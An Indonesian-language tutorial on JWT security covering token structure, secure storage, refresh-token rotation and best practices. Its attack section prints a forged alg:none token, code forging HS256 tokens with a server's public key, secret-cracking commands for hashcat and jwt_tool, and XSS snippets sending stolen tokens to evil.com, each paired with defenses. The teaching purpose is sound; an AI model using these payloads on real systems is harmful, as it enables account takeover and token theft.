1. Pengenalan JWT
JSON Web Token (JWT) adalah standar terbuka (RFC 7519) yang mendefinisikan cara kompak dan mandiri untuk mengirimkan informasi antara dua pihak dalam bentuk objek JSON yang ditandatangani secara digital. JWT banyak digunakan dalam autentikasi dan otorisasi pada aplikasi web modern, terutama pada arsitektur RESTful API dan Single Page Application (SPA).
Berbeda dengan session-based authentication yang menyimpan state di server, JWT bersifat stateless β semua informasi yang dibutuhkan untuk autentikasi tersimpan di dalam token itu sendiri. Ini membuat JWT sangat cocok untuk arsitektur terdistribusi dan microservices.
Mengapa JWT Populer?
| Kelebihan | Penjelasan |
|---|---|
| Stateless | Tidak perlu menyimpan session di server β semua info ada di token |
| Cross-Domain | Bisa digunakan lintas domain dan layanan (CORS-friendly) |
| Self-Contained | Token membawa payload yang cukup untuk autentikasi dan otorisasi |
| Decentralized | Setiap service bisa memverifikasi token secara mandiri tanpa ke central auth server |
| Mobile-Friendly | Ringan dan mudah dikirim via HTTP header, cocok untuk mobile apps |
| Standar Terbuka | Didukung luas oleh library dan framework di berbagai bahasa pemrograman |
JWT vs Session Cookies vs API Keys
| Aspek | JWT | Session Cookie | API Key |
|---|---|---|---|
| State | Stateless | Stateful (server-side) | Stateless |
| Skalabilitas | Tinggi (no shared state) | Butuh shared session store | Tinggi |
| Granularitas | Bisa bawa payload kustom | Hanya session ID | Hanya identifier |
| Revocation | Sulit (butuh blocklist) | Mudah (hapus session) | Bisa (invalidate key) |
| Keamanan | Perlu penanganan khusus | Built-in browser protection | Sederhana tapi kurang aman |
| Use Case | API, SPA, microservices | Traditional web app | Service-to-service |
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β JWT AUTHENTICATION FLOW β β β β ββββββββββββ ββββββββββββββββ β β β Client βββ(1)βββΆβ Auth Server β β β β (Browser/ β Login β β β β β App) β creds β Verifikasi β β β β ββββ(2)βββ credentials β β β β β JWT β β β β β β token β Generate β β β βββββββ¬ββββββ ββββββββββββββββ β β β β β β (3) Kirim JWT di header β β β Authorization: Bearer eyJhbG... β β βΌ β β ββββββββββββββββ β β β API Server βββ(4)ββ Verifikasi signature β β β β Decode payload β β β β Check expiry β β β β Validate claims β β β βββ(5)ββ Return protected resource β β ββββββββββββββββ β β β β Proses tanpa query database β server langsung verifikasi β β token secara kriptografis β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
2. Struktur Token JWT
JWT terdiri dari tiga bagian yang dipisahkan oleh titik (.): Header, Payload, dan Signature. Setiap bagian di-encode menggunakan Base64URL encoding.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
ββββ Header βββββ€βββββ Payload βββββββββββββββββββββββββ€ββββ Signature βββ€
Base64URL Base64URL HMAC SHA256
Header
Header mendefinisikan metadata token, termasuk algoritma signing yang digunakan dan tipe token.
// Header JWT (decoded dari Base64URL)
{
"alg": "HS256", // Algoritma signing: HS256, RS256, ES256, dll
"typ": "JWT" // Tipe token
}
// ============================================
// Algoritma Signing yang Didukung
// ============================================
// HMAC (symmetric β satu key untuk sign dan verify)
HS256 β HMAC-SHA256 (256-bit) β Paling umum
HS384 β HMAC-SHA384 (384-bit)
HS512 β HMAC-SHA512 (512-bit)
// RSA (asymmetric β public key untuk verify, private key untuk sign)
RS256 β RSASSA-PKCS1-v1_5 + SHA-256
RS384 β RSASSA-PKCS1-v1_5 + SHA-384
RS512 β RSASSA-PKCS1-v1_5 + SHA-512
// ECDSA (asymmetric β lebih cepat dari RSA, key lebih kecil)
ES256 β ECDSA P-256 + SHA-256
ES384 β ECDSA P-384 + SHA-384
// EdDSA (modern β menggunakan Ed25519/Ed448)
EdDSA β Ed25519 atau Ed448
// β οΈ "alg": "none" β TIDAK ADA SIGNATURE (sangat berbahaya!)
{
"alg": "none",
"typ": "JWT"
}
// Ini artinya token TIDAK ditandatangani dan BISA dimanipulasi!
Payload (Claims)
Payload berisi claims β pernyataan tentang entitas (biasanya user) dan metadata tambahan. Ada tiga jenis claims:
// Payload JWT (decoded dari Base64URL)
{
// ===== REGISTERED CLAIMS (standar RFC 7519) =====
"iss": "https://auth.example.com", // Issuer β siapa yang menerbitkan token
"sub": "user123456", // Subject β siapa yang dimaksud
"aud": "https://api.example.com", // Audience β siapa yang dituju
"exp": 1719432000, // Expiration β kapan token kedaluwarsa (Unix timestamp)
"nbf": 1719428400, // Not Before β token tidak valid sebelum waktu ini
"iat": 1719428400, // Issued At β kapan token diterbitkan
"jti": "unique-token-id-123", // JWT ID β identifier unik untuk token
// ===== PUBLIC CLAIMS (custom tapi harus terdaftar di IANA) =====
"name": "John Doe",
"email": "john@example.com",
"picture": "https://example.com/photo.jpg",
// ===== PRIVATE CLAIMS (custom, kesepakatan antar pihak) =====
"role": "admin",
"permissions": ["read", "write", "delete"],
"org_id": "org_abc123",
"plan": "premium"
}
// β οΈ PENTING: Payload TIDAK DIENKRIPSI!
// Payload hanya di-encode Base64URL, SIAPAPUN bisa membacanya.
// JANGAN simpan data sensitif di payload (password, API keys, dll.)
Signature
Signature adalah bagian yang menjamin integritas dan autentisitas token. Signature dibuat dengan meng-encode header dan payload, lalu menandatanganinya dengan secret key.
// Proses pembuatan signature HS256:
// signature = HMACSHA256(
// base64UrlEncode(header) + "." + base64UrlEncode(payload),
// secret_key
// )
// Dalam kode (Node.js):
const crypto = require('crypto');
const header = Buffer.from(JSON.stringify({alg: 'HS256', typ: 'JWT'})).toString('base64url');
const payload = Buffer.from(JSON.stringify({sub: 'user123', iat: Date.now()})).toString('base64url');
const secret = 'your-256-bit-secret-key-here!';
const signature = crypto.createHmac('sha256', secret)
.update(`${header}.${payload}`)
.digest('base64url');
const token = `${header}.${payload}.${signature}`;
// Result: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiw...
// ============================================
// Verifikasi signature:
// ============================================
const [h, p, s] = token.split('.');
const expectedSig = crypto.createHmac('sha256', secret)
.update(`${h}.${p}`)
.digest('base64url');
if (s === expectedSig) {
console.log('Token VALID β
');
} else {
console.log('Token INVALID atau DIMANIPULASI β');
}
3. Serangan-Serangan terhadap JWT
Memahami serangan terhadap JWT sangat penting untuk membangun sistem autentikasi yang aman. Berikut adalah serangan-serangan paling umum dan cara mencegahnya.
3.1 Algorithm Confusion Attack (alg:none)
Serangan ini memanfaatkan fakta bahwa beberapa library JWT mempercayai field alg di header tanpa verifikasi. Attacker mengubah alg menjadi "none" dan menghapus signature β sehingga token tanpa signature diterima sebagai valid.
# ============================================
# Serangan alg:none
# ============================================
# Token asli (dengan signature):
# Header: {"alg": "HS256", "typ": "JWT"}
# Payload: {"sub": "user123", "role": "user"}
# Signature: valid_signature_here
# Token yang dimanipulasi attacker:
# Header: {"alg": "none", "typ": "JWT"}
# Payload: {"sub": "admin", "role": "admin"} β diubah!
# Signature: (kosong β dihapus)
# Token manipulasi:
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
# Jika server tidak memvalidasi algoritma dengan benar,
# token ini akan diterima! π±
# ============================================
# Pencegahan:
# ============================================
# 1. JANGAN pernah izinkan alg "none"
# 2. Whitelist algoritma yang diizinkan
# 3. Gunakan library yang terpercaya
# Contoh di jsonwebtoken (Node.js):
const jwt = require('jsonwebtoken');
// β BERBAHAYA β mempercayai alg dari token
jwt.verify(token, secretOrPublicKey);
// β
AMAN β tentukan algoritma yang diizinkan
jwt.verify(token, secretOrPublicKey, {
algorithms: ['HS256'] // Hanya izinkan HS256
});
3.2 RS256 to HS256 Confusion Attack
Serangan ini terjadi ketika server menggunakan RS256 (asymmetric) tetapi attacker mengubah algoritma ke HS256 (symmetric). Karena pada HS256 key yang sama digunakan untuk sign dan verify, attacker bisa menggunakan public key server sebagai secret key untuk membuat token palsu.
# ============================================
# Serangan Algorithm Confusion (RS256 β HS256)
# ============================================
# Skenario:
# - Server menggunakan RS256 (asymmetric)
# - Public key server tersedia publik (standar untuk RS256)
# - Server mempercayai field "alg" di token
# Serangan:
# 1. Attacker mendapatkan public key server (pub.pem)
# 2. Mengubah header: {"alg": "HS256"} β dari RS256
# 3. Mengubah payload: {"sub": "admin", "role": "admin"}
# 4. Sign menggunakan HMAC dengan public key sebagai secret
# Kode serangan:
const crypto = require('crypto');
const publicKey = fs.readFileSync('pub.pem'); // Public key server
const header = { alg: 'HS256', typ: 'JWT' };
const payload = { sub: 'admin', role: 'admin' };
const h = base64url(JSON.stringify(header));
const p = base64url(JSON.stringify(payload));
// Gunakan public key sebagai HMAC secret!
const signature = crypto.createHmac('sha256', publicKey)
.update(`${h}.${p}`)
.digest('base64url');
// Server akan memverifikasi menggunakan HMAC dengan public key
// β Verifikasi BERHASIL! Token palsu diterima! π±
# ============================================
# Pencegahan:
# ============================================
# 1. SELALU tentukan algoritma yang diizinkan secara eksplisit
# 2. Jangan izinkan perubahan algoritma dari token
// β
PENCEGAHAN:
jwt.verify(token, publicKey, {
algorithms: ['RS256'] // HANYA RS256, tidak boleh HS256
});
3.3 Brute Force Secret Key
# ============================================ # Brute Force JWT Secret Key # ============================================ # Tool: hashcat, john the ripper # Hashcat untuk brute force HS256: # Format hash untuk hashcat: JWT token langsung hashcat -m 16500 jwt.txt wordlist.txt # John the Ripper: john --wordlist=wordlist.txt --format=HMAC-SHA256 jwt.txt # Tool khusus: jwt_tool python3 jwt_tool.py eyJhbG... -C -d wordlist.txt # ============================================ # Pencegahan: # ============================================ # 1. Gunakan secret key yang SANGAT PANJANG (minimum 256-bit/32 byte) # 2. Gunakan karakter random yang kuat # 3. Rotasi secret key secara berkala # 4. Pertimbangkan RS256 (asymmetric) β tidak bisa di-brute force # Generate secure secret: openssl rand -base64 32 # Output: xK7mN9pQ2rT5vW8yB3dF6gH0jL4nP7sU1xA4cE9hK2m # β SECRET LEMAH: JWT_SECRET = "secret123" JWT_SECRET = "mysecret" JWT_SECRET = "password" # β SECRET KUAT: JWT_SECRET = "xK7mN9pQ2rT5vW8yB3dF6gH0jL4nP7sU1xA4cE9hK2mQ6tW0zC3fH5kN8p"
3.4 JWT Token Leaked via URL/Referrer
- Jangan pernah mengirim JWT di URL query string (
?token=eyJ...) β token akan terekam di browser history, server logs, dan Referrer header - Simpan JWT di
Authorizationheader, bukan di URL - Gunakan
Referrer-Policy: no-referreruntuk mencegah token bocor ke situs lain - Hindari logging JWT di server logs
3.5 Cross-Site Scripting (XSS) JWT Theft
# ============================================
# XSS untuk mencuri JWT dari localStorage
# ============================================
# Jika attacker berhasil menyuntikkan XSS:
<script>
// Curi JWT dari localStorage
const token = localStorage.getItem('jwt_token');
// Kirim ke server attacker
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({ token: token }),
headers: {'Content-Type': 'application/json'}
});
</script>
# Atau dari sessionStorage:
<script>
const token = sessionStorage.getItem('jwt_token');
new Image().src = 'https://evil.com/collect?token=' + token;
</script>
# ============================================
# Pencegahan:
# ============================================
# 1. Gunakan httpOnly cookies (tidak bisa diakses JavaScript)
# 2. Implementasikan CSP untuk mencegah XSS
# 3. Input validation dan output encoding
# 4. Short-lived token + refresh token rotation
# 5. Bind token ke device fingerprint
3.6 Replay Attack
# ============================================
# Replay Attack β Token yang dicuri digunakan ulang
# ============================================
# Skenario:
# 1. Attacker mendapatkan JWT user (via XSS, MITM, atau packet sniffing)
# 2. Attacker menggunakan token tersebut untuk mengakses API
# sebagai user yang sah
# Contoh request dengan token curian:
curl -X GET https://api.example.com/user/profile \
-H "Authorization: Bearer eyJhbG...token_curiandari_user..."
# Response: Data user berhasil diakses oleh attacker! π±
# ============================================
# Pencegahan:
# ============================================
# 1. Token expiry yang SINGKAT (15 menit untuk access token)
# 2. Token rotation β refresh token harus dirotasi
# 3. Token binding β hubungkan token dengan IP/fingerprint
# 4. Revoke mechanism β blocklist untuk token yang dikompromikan
# 5. Jti (JWT ID) + server-side tracking untuk one-time-use
# Contoh token binding dengan fingerprint:
{
"sub": "user123",
"fingerprint": "abc123hash", // Hash dari User-Agent + IP + device ID
"exp": 1719432000
}
# Server memverifikasi fingerprint:
if (hash(request.userAgent + request.ip) !== token.fingerprint) {
return 401; // Token kemungkinan dicuri
}
4. Penyimpanan Token yang Aman
Di mana Anda menyimpan JWT sangat mempengaruhi keamanan sistem autentikasi. Setiap opsi penyimpanan memiliki trade-off antara keamanan dan kemudahan implementasi.
Perbandingan Metode Penyimpanan
| Metode | XSS Risk | CSRF Risk | Rekomendasi |
|---|---|---|---|
| localStorage | π΄ Tinggi | π’ Rendah | β Tidak direkomendasikan |
| sessionStorage | π΄ Tinggi | π’ Rendah | β Tidak direkomendasikan |
| httpOnly Cookie | π’ Rendah | π‘ Sedang | β Direkomendasikan |
| In-memory Variable | π‘ Sedang | π’ Rendah | β Paling aman (SPA) |
| Service Worker | π’ Rendah | π’ Rendah | β Advanced (PWA) |
# ============================================
# 1. localStorage β TIDAK DIREKOMENDASIKAN
# ============================================
// β Rentan XSS β bisa diakses oleh semua JavaScript di halaman
localStorage.setItem('jwt_token', token);
const token = localStorage.getItem('jwt_token');
// Masalah:
// - Semua script di halaman (termasuk yang disuntikkan XSS) bisa akses
// - Data persist bahkan setelah browser ditutup
// - Tidak ada expiry otomatis
# ============================================
# 2. httpOnly Cookie β DIREKOMENDASIKAN
# ============================================
// β
Tidak bisa diakses oleh JavaScript
// Server set cookie:
res.cookie('access_token', token, {
httpOnly: true, // Tidak bisa diakses JS (anti-XSS)
secure: true, // Hanya dikirim via HTTPS
sameSite: 'Strict', // Tidak dikirim dalam cross-site request (anti-CSRF)
maxAge: 15 * 60 * 1000, // 15 menit
path: '/',
domain: '.example.com'
});
// Cookie otomatis dikirim di setiap request ke domain yang sama
// Frontend tidak perlu menambahkan header Authorization manual
// β οΈ Perlu CSRF protection karena cookie dikirim otomatis
// Tambahkan anti-CSRF token di header untuk setiap request
# ============================================
# 3. In-Memory Storage β PALING AMAN untuk SPA
# ============================================
// β
Tidak tersimpan di storage manapun
// β Hilang saat page refresh (perlu silent refresh)
class TokenService {
#accessToken = null; // Private field
setToken(token) {
this.#accessToken = token;
}
getToken() {
return this.#accessToken;
}
clearToken() {
this.#accessToken = null;
}
isAuthenticated() {
return this.#accessToken !== null;
}
}
const tokenService = new TokenService();
// Setelah login:
tokenService.setToken(response.data.accessToken);
// Untuk request API:
axios.interceptors.request.use(config => {
const token = tokenService.getToken();
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
});
# ============================================
# 4. Hybrid Approach (Recommended untuk Production)
# ============================================
// Access Token β In-memory (hilang saat refresh)
// Refresh Token β httpOnly cookie (persist, aman dari XSS)
// Saat page refresh:
// 1. Cek apakah access token masih ada di memory
// 2. Jika tidak β gunakan refresh token (cookie) untuk dapat access token baru
// 3. Simpan access token baru di memory
async function silentRefresh() {
try {
const response = await fetch('/auth/refresh', {
method: 'POST',
credentials: 'include' // Kirim httpOnly cookie
});
const data = await response.json();
tokenService.setToken(data.accessToken);
return true;
} catch (err) {
// Refresh token expired/invalid β redirect ke login
window.location.href = '/login';
return false;
}
}
5. Token Rotation dan Refresh Token
Token rotation adalah strategi keamanan di mana refresh token dirotasi setiap kali digunakan. Ini memastikan bahwa jika sebuah refresh token dicuri, token lama akan langsung invalid ketika token baru digunakan.
Access Token vs Refresh Token
| Aspek | Access Token | Refresh Token |
|---|---|---|
| Tujuan | Mengakses protected resources | Mendapatkan access token baru |
| Expiry | Pendek (5-15 menit) | Panjang (7-30 hari) |
| Storage | In-memory / Authorization header | httpOnly Cookie |
| Dikirim ke | API server | Auth server saja |
| Payload | Berisi user info, permissions | Hanya identifier + expiry |
| Rotation | Tidak perlu (expired cepat) | Setiap kali digunakan |
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β TOKEN ROTATION FLOW β
β β
β Client Auth Server β
β β β β
β βββ(1) POST /auth/login ββββΆβ β
β β {email, password} β β
β β β β
β ββββ(2) Access Token βββββββ β
β β + Refresh Token β (simpan di httpOnly cookie) β
β β β β
β β ... 5-15 menit kemudian ... β
β β β β
β βββ(3) GET /api/data ββββββΆβ β
β β Authorization: Bearer β β
β β [expired token] β β
β β β β
β ββββ(4) 401 Unauthorized ββ β
β β β β
β βββ(5) POST /auth/refreshββΆβ β
β β Cookie: refresh_token β β
β β β β
β ββββ(6) NEW Access Token βββ β
β β + NEW Refresh Token β (rotasi! token lama invalid) β
β β β β
β βββ(7) Retry GET /api/dataβΆβ β
β β Authorization: Bearer β β
β β [new valid token] β β
β β β β
β ββββ(8) 200 OK βββββββββββ β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# ============================================
# Server-side: Refresh Token Rotation
# ============================================
// Database model untuk refresh tokens
// RefreshToken {
// id, user_id, token_hash, family_id,
// expires_at, revoked, created_at
// }
const crypto = require('crypto');
const jwt = require('jsonwebtoken');
// Login endpoint
app.post('/auth/login', async (req, res) => {
const { email, password } = req.body;
const user = await verifyCredentials(email, password);
if (!user) return res.status(401).json({ error: 'Invalid credentials' });
// Generate token pair
const familyId = crypto.randomUUID();
const tokens = generateTokenPair(user, familyId);
// Simpan refresh token hash di database
await db.refreshTokens.create({
user_id: user.id,
token_hash: hashToken(tokens.refreshToken),
family_id: familyId,
expires_at: tokens.refreshExpiresAt,
revoked: false
});
// Set refresh token sebagai httpOnly cookie
res.cookie('refresh_token', tokens.refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'Strict',
maxAge: 7 * 24 * 60 * 60 * 1000 // 7 hari
});
// Return access token
res.json({ accessToken: tokens.accessToken });
});
// Refresh endpoint
app.post('/auth/refresh', async (req, res) => {
const refreshToken = req.cookies.refresh_token;
if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
// Cari token di database
const storedToken = await db.refreshTokens.findOne({
token_hash: hashToken(refreshToken)
});
// DETEKSI TOKEN REUSE β indikasi token dicuri!
if (!storedToken || storedToken.revoked) {
if (storedToken && storedToken.revoked) {
// Token sudah di-revoke tapi masih digunakan!
// Kemungkinan token dicuri β REVOKE SELURUH FAMILY
await db.refreshTokens.updateMany(
{ family_id: storedToken.family_id },
{ revoked: true }
);
console.warn(`[SECURITY] Token reuse detected for user ${storedToken.user_id}`);
}
return res.status(401).json({ error: 'Invalid refresh token' });
}
// Verify expiry
if (new Date() > storedToken.expires_at) {
return res.status(401).json({ error: 'Refresh token expired' });
}
// REVOKE token lama
await db.refreshTokens.update(
{ id: storedToken.id },
{ revoked: true }
);
// Generate token BARU dengan family yang sama
const user = await db.users.findById(storedToken.user_id);
const tokens = generateTokenPair(user, storedToken.family_id);
// Simpan token baru
await db.refreshTokens.create({
user_id: user.id,
token_hash: hashToken(tokens.refreshToken),
family_id: storedToken.family_id,
expires_at: tokens.refreshExpiresAt,
revoked: false
});
res.cookie('refresh_token', tokens.refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'Strict',
maxAge: 7 * 24 * 60 * 60 * 1000
});
res.json({ accessToken: tokens.accessToken });
});
// Helper functions
function generateTokenPair(user, familyId) {
const accessToken = jwt.sign(
{ sub: user.id, role: user.role },
process.env.JWT_SECRET,
{ expiresIn: '15m', algorithm: 'HS256' }
);
const refreshToken = crypto.randomBytes(40).toString('hex');
const refreshExpiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000);
return { accessToken, refreshToken, refreshExpiresAt };
}
function hashToken(token) {
return crypto.createHash('sha256').update(token).digest('hex');
}
6. Implementasi JWT yang Aman
Pemilihan Algoritma
| Algoritma | Tipe | Keamanan | Kapan Digunakan |
|---|---|---|---|
| HS256 | Symmetric | Baik (jika secret kuat) | Single service, same team yang kontrol server dan client |
| RS256 | Asymmetric | Sangat baik | Multi-service, third party perlu verifikasi token |
| ES256 | Asymmetric | Sangat baik | Mobile apps (key kecil), high-performance requirements |
| EdDSA | Asymmetric | Excellent | Modern apps, kinerja tinggi, security terbaik |
| PS256 | Asymmetric | Sangat baik | Enterprise, compliance requirements |
Kontrol Payload yang Aman
- β Boleh: user ID, role, permissions, tenant ID, token expiry
- β Tidak boleh: password, API keys, credit card numbers, secrets, PII sensitif
- β Hindari: Data yang sering berubah (harus invalidate token)
- β Prinsip: Payload harus minimal β hanya info yang dibutuhkan untuk otorisasi
7. Best Practices Lengkap
- β Gunakan algoritma asymmetric (RS256/ES256) untuk production
- β
Whitelist algoritma yang diizinkan β jangan percaya field
algdi token - β Set expiry yang singkat untuk access token (5-15 menit)
- β Implementasikan refresh token rotation
- β Simpan access token di memory, refresh token di httpOnly cookie
- β
Selalu validasi
iss,aud,exp, dannbfclaims - β
Gunakan
jti(JWT ID) untuk mencegah replay attack - β Implementasikan token blocklist untuk logout/revocation
- β Deteksi refresh token reuse dan revoke seluruh token family
- β Gunakan HTTPS di semua endpoint
- β
Set
SameSite=Strictpada cookies - β Implementasikan rate limiting pada auth endpoints
- β Log semua aktivitas autentikasi untuk audit trail
- β Lakukan security testing secara berkala
Kesalahan Umum
| Kesalahan | Risiko | Solusi |
|---|---|---|
| Menyimpan JWT di localStorage | Dicuri via XSS | Gunakan httpOnly cookie atau in-memory |
| Tidak menentukan algorithms whitelist | Algorithm confusion attack | Selalu tentukan algorithms: ['RS256'] |
| Expiry terlalu lama (hari/minggu) | Window serangan besar jika token dicuri | Access token 5-15 menit |
| Menyimpan data sensitif di payload | Data bocor karena payload hanya Base64 encoded | Hanya simpan non-sensitive claims |
| Tidak melakukan token rotation | Refresh token valid selamanya jika dicuri | Rotasi refresh token setiap penggunaan |
| Menggunakan secret key lemah | Bisa di-brute force | Minimum 256-bit random secret |
| Tidak memvalidasi audience/issuer | Token dari issuer lain bisa diterima | Selalu validasi iss dan aud |
8. Quiz: Uji Pemahamanmu!
Setelah membaca tutorial di atas, jawablah 5 pertanyaan berikut untuk menguji pemahamanmu tentang JWT Security: